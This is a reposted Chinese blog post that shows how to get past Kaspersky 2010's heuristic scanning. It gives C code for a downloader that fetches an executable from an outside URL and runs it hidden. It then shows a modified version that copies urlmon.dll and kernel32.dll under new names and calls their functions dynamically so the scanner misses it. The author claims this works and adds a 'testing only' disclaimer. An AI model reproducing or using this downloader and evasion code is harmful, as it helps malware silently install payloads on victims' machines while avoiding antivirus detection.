转载自:http://blog.sina.com.cn/s/blog_63a4534c01012ugj.html
卡巴斯基2010有强大的启发式扫描,其实启发式扫描有很多弱点,有一个就是不能完全的模拟程序的运行环境,这就可能给我们留出来了一块空间来绕过启发式扫描,其实其它杀毒软件的启发式扫描都存在这些空间,下面就来分析一下卡巴斯基的启发式扫描吧!
首先要编一段程序来完成测试,程序一定要非常的针对启发式扫描这一块的,不然的话没有效果,选那段代码来测试呢?恩,有段代码启发式扫描几乎都要扫描的,那就是下载者的代码,一般的下载者代码如下:
(为防止误点击,所有网址已设为hxxp,欲尝试请修改后再访问)
int _tmain(int argc, _TCHAR* argv[]) { URLDownloadToFileA(NULL,"hxxp://www.hehe/yan.exe","c:\\yan.exe",0,NULL); WinExec("C:\\yan.exe",SW_HIDE); }
上面代码应该是最熟悉的了,启发式扫描发现调用URLDownloadToFileA和WinExec就认为是病毒了,先写这么一个程序,放到卡巴斯基2010下
于是,卡巴报下载者病毒,看来卡巴的启发式扫描起作用了,经过测试,无论改成动态调用还是其它方案,只要调用Kennel32.dll中的WinExec和UrlMon.dll中的URLDownloadToFileA都无法躲过卡巴斯基的启发式扫描。
下面开始以启发式扫描的弱点来测试,那就是不能完全模拟程序运行环境的,当我们创建文件等操作时,在启发式扫描的环境中实际是没有操作的,那么方法诞生
了,可以先复制一个Kernel32.dll的副本Kaba.dll,然后动态调用KaBa.dll中的WinExec函数,那么启发式扫描应该作废了,
因为在启发式扫描的环境中根本不会真正的复制一个Kaba.dll文件,那么我们的动态调用就是未知的,所以我们的程序很安全。修改代码如下:
char * Str="c:\\yan.exe"; char * Url="hxxp://www.hehe/yan.exe"; CopyFileA("C:\\windows\\system32\\urlmon.dll","c:\\windows\\system32\\KaBaUrl.dll",true); LoadLibrary("KaBaUrl.dll"); PVOID Dwon=GetProcAddress(GetModuleHandle("KaBaUrl.dll"),"URLDownloadToFileA"); _asm { push 0 push 0 push Str push Url push 0 call Dwon } CopyFileA("c:\\windows\\system32\\kernel32.dll","c:\\windows\\system32\\KaBa.dll",true); LoadLibrary("KaBa.dll"); PVOID Fun=GetProcAddress(GetModuleHandle("KaBa.dll"),"WinExec"); _asm { push SW_HIDE push Str call Fun }
上面代码生成的程序运行时,卡巴不会有任何反应,看来启发式扫描还有很大的缺点,最后希望卡巴斯基的启发式扫描越来越完善,到杀毒软件的启发式扫描能完全 模拟程序运行环境时,那么启发式扫描可能就不叫启发式扫描了(声明:上面代码只做测试使用,凡是用于非法用途的,后果自负。)